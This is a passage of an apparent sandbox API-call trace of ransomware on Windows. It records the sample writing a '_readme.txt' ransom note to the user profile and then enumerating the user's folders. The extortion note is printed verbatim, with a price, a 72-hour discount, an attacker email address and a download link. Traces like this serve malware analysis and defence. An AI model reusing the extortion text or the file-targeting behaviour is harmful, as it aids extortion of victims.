Size=0x820) returned 0x3ad8058 [0124.361] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.361] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0124.361] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x30) returned 0x3470f90 [0124.361] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450228 [0124.361] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0124.361] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.361] PathFindFileNameW (pszPath="") returned="" [0124.361] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x34397b0 [0124.361] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75bd0000 [0124.361] GetProcAddress (hModule=0x75bd0000, lpProcName="SHGetFolderPathW") returned 0x75c55708 [0124.361] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x800) returned 0x3ae1ff0 [0124.361] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3ae1ff0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.361] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x810) returned 0x3ae27f8 [0124.361] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450228 [0124.361] FreeLibrary (hLibModule=0x75bd0000) returned 1 [0124.361] PathAppendW (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\", pMore="_readme.txt" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\_readme.txt") returned 1 [0124.362] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad88e0 [0124.362] PathFileExistsW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\_readme.txt") returned 0 [0124.362] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x7d00) returned 0x3ae3bf0 [0124.362] lstrcpyW (in: lpString1=0x3ae3bf0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" [0124.362] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d", lpString2="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" [0124.362] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad9168 [0124.362] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\_readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x614 [0124.362] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad99f0 [0124.362] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x816) returned 0x3ada278 [0124.362] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK", cchWideChar=-1, lpMultiByteStr=0x3ada278, cbMultiByte=2070, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK", lpUsedDefaultChar=0x0) returned 1047 [0124.362] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3adab00 [0124.362] lstrlenA (lpString="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK") returned 1046 [0124.362] WriteFile (in: hFile=0x614, lpBuffer=0x3adab00*, nNumberOfBytesToWrite=0x416, lpNumberOfBytesWritten=0x3dcfb64, lpOverlapped=0x0 | out: lpBuffer=0x3adab00*, lpNumberOfBytesWritten=0x3dcfb64*=0x416, lpOverlapped=0x0) returned 1 [0124.363] CloseHandle (hObject=0x614) returned 1 [0124.363] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3adab00 | out: hHeap=0x810000) returned 1 [0124.363] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad9168 | out: hHeap=0x810000) returned 1 [0124.363] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae3bf0 | out: hHeap=0x810000) returned 1 [0124.363] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.363] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x34397f8 [0124.363] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x558cd760, ftLastAccessTime.dwHighDateTime=0x1d643ed, ftLastWriteTime.dwLowDateTime=0x558cd760, ftLastWriteTime.dwHighDateTime=0x1d643ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0124.364] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34397f8 | out: hHeap=0x810000) returned 1 [0124.364] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x558cd760, ftLastAccessTime.dwHighDateTime=0x1d643ed, ftLastWriteTime.dwLowDateTime=0x558cd760, ftLastWriteTime.dwHighDateTime=0x1d643ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0124.364] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="AppData", cAlternateFileName="")) returned 1 [0124.364] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x50) returned 0x3487e88 [0124.364] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x50) returned 0x3487e30 [0124.364] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x1c) returned 0x3450228 [0124.364] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x50) returned 0x3487dd8 [0124.364] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3487e30 | out: hHeap=0x810000) returned 1 [0124.364] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3487e88 | out: hHeap=0x810000) returned 1 [0124.364] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0124.364] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x60) returned 0x8ed2b8 [0124.364] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x60) returned 0x8ed320 [0124.364] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x38) returned 0x3463888 [0124.364] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x50) returned 0x3487e88 [0124.364] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3487dd8 | out: hHeap=0x810000) returned 1 [0124.364] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450228 | out: hHeap=0x810000) returned 1 [0124.364] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x60) returned 0x8ed388 [0124.364] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8ed320 | out: hHeap=0x810000) returned 1 [0124.364] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8ed2b8 | out: hHeap=0x810000) returned 1 [0124.364] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Contacts", cAlternateFileName="")) returned 1 [0124.364] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x50) returned 0x3487dd8 [0124.364] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x50) returned 0x3487e30 [0124.364] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x54) returned 0x3459f88 [0124.364] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x50) returned 0x3487d80 [0124.364] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x60) returned 0x8ed2b8 [0124.364] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3487e88 | out: hHeap=0x810000) returned 1 [0124.364] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8ed388 | out: hHeap=0x810000) returned 1 [0124.364] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3463888 | out: hHeap=0x810000) returned 1 [0124.364] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x50) returned 0x3487e88 [0124.364] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3487e30 | out: hHeap=0x810000) returned 1 [0124.364] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3487dd8 | out: hHeap=0x810000) returned 1 [0124.364] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Cookies", cAlternateFileName="")) returned 1 [0124.364] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x50) returned 0x3487dd8 [0124.364] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x50) returned 0x3487e30 [0124.364] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x70) returned 0x3437008 [0124.364] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x50) returned 0x3487f90 [0124.364] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x60) returned 0x8ed388 [0124.364] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x50) returned 0x3487fe8 [0124.364] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3487d80 | out: hHeap=0x810000) returned 1 [0124.365] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8ed2b8 | out: hHeap=0x810000) returned 1 [0124.365] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3487e88 | out: hHeap=0x810000) returned 1 [0124.365] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3459f88 | out: hHeap=0x810000) returned 1 [0124.365] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x50) returned 0x3487e88 [0124.365] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3487e30 | out: hHeap=0x810000) returned 1 [0124.365] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3487dd8 | out: hHeap=0x810000) returned 1 [0124.365] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x144b07e0, ftLastAccessTime.dwHighDateTime=0x1d643ed, ftLastWriteTime.dwLowDateTime=0x144b07e0, ftLastWriteTime.dwHighDateTime=0x1d643ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Desktop", cAlternateFileName="")) returned 1 [0124.365] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x50) returned 0x3487dd8 [0124.365] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x50) returned 0x3487e30 [0124.365] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xa8) returned 0x342a1b8 [0124.365] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x50) returned 0x3487d80 [0124.365] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x60) returned 0x8ed2b8 [0124.365] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x50) returned 0x3488040 [0124.365] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x50) returned 0x3488098 [0124.365] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3487f90 | out: hHeap=0x810000) returned 1 [0124.365] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8ed388 | out: hHeap=0x810000) returned 1 [0124.365] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3487fe8 | out: hHeap=0x810000) returned 1 [0124.365] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3487e88 | out: hHeap=0x810000) returned 1 [0124.365] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3437008 | out: hHeap=0x810000) returned 1 [0124.365] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x50) returned 0x3487e88 [0124.365] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3487e30 | out: hHeap=0x810000) returned 1 [0124.365] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3487dd8 | out: hHeap=0x810000) returned 1 [0124.365] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd8e6bb40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xd8e6bb40, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0124.365] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x50) returned 0x3487dd8 [0124.365] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x76) returned 0x876c58 [0124.365] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3487dd8 | out: hHeap=0x810000) returned 1 [0124.365] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x60) returned 0x8ed388 [0124.365] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x60) returned 0x8ed320 [0124.365] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8ed388 | out: hHeap=0x810000) returned 1 [0124.365] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x876c58 | out: hHeap=0x810000) returned 1 [0124.365] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1 [0124.365] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x50) returned 0x3487dd8 [0124.365] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x76) returned 0x876c58 [0124.365] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3487dd8 | out: hHeap=0x810000) returned 1 [0124.365] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x60) returned 0x8ed388 [0124.365] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xfc) returned 0x347b558 [0124.365] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x50) returned 0x3487dd8 [0124.365] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x60) returned 0x8ed3f0 [0124.365] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x50) returned 0x3487e30 [0124.365] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x50) returned 0x3487fe8 [0124.365] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x50) returned 0x3487f90 [0124.365] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x60) returned 0x8ed458 [0124.365] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3487d80 | out: hHeap=0x810000) returned 1 [0124.365] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8ed2b8 | out: hHeap=0x810000) returned 1 [0124.366] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3488040 | out: hHeap=0x810000) returned 1 [0124.366] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3488098 | out: hHeap=0x810000) returned 1 [0124.366] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3487e88 | out: hHeap=0x810000) returned 1 [0124.366] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8ed320 | out: hHeap=0x810000) returned 1 [0124.366] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x342a1b8 | out: hHeap=0x810000) returned 1 [0124.366] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x60) returned 0x8ed320 [0124.366] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8ed388 | out: hHeap=0x810000) returned 1 [0124.366] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x876c58 | out: hHeap=0x810000) returned 1 [0124.366] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0124.366] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x50) returned 0x3487e88 [0124.366] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x76) returned 0x876c58 [0124.366] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3487e88 | out: hHeap=0x810000) returned 1 [0124.366] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x60) returned 0x8ed388 [0124.366] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x60) returned 0x8ed2b8 [0124.366] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8ed388 | out: hHeap=0x810000) returned 1 [0124.366] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x876c58 | out: hHeap=0x810000) returned 1 [0124.366] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, 